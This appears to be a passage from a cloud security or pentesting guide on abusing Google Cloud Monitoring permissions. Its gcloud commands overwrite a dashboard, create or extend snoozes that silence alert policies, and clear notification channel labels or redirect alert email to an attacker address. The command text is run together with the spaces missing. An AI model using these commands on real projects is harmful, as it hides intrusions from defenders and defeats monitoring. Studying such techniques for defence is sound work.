# Disrupt dashboardgcloudmonitoringdashboardsupdate<dashboard>--config='''displayName: New Dashboard with New Display Nameetag: 40d1040034db4e5a9dee931ec1b12c0dgridLayout:widgets:- text:content: Hello World'''
# Stop alerts by creating a snoozergcloudmonitoringsnoozescreate--display-name="Maintenance Week" \--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \--start-time="2023-03-01T03:00:00.0-0500" \--end-time="2023-03-07T23:59:59.5-0500"
monitoring.snoozes.update
更新 snoozer 的时间,以防止在攻击者感兴趣时创建警报:
# Modify the timing of a snoozegcloudmonitoringsnoozesupdate<snooze>--start-time=START_TIME--end-time=END_TIME# odify everything, including affected policiesgcloudmonitoringsnoozesupdate<snooze>--snooze-from-file=<file>
# Delete or update labels, for example email channels have the email indicated heregcloudalphamonitoringchannelsupdateCHANNEL_ID--clear-channel-labelsgcloudalphamonitoringchannelsupdateCHANNEL_ID--update-channel-labels=email_address=attacker@example.com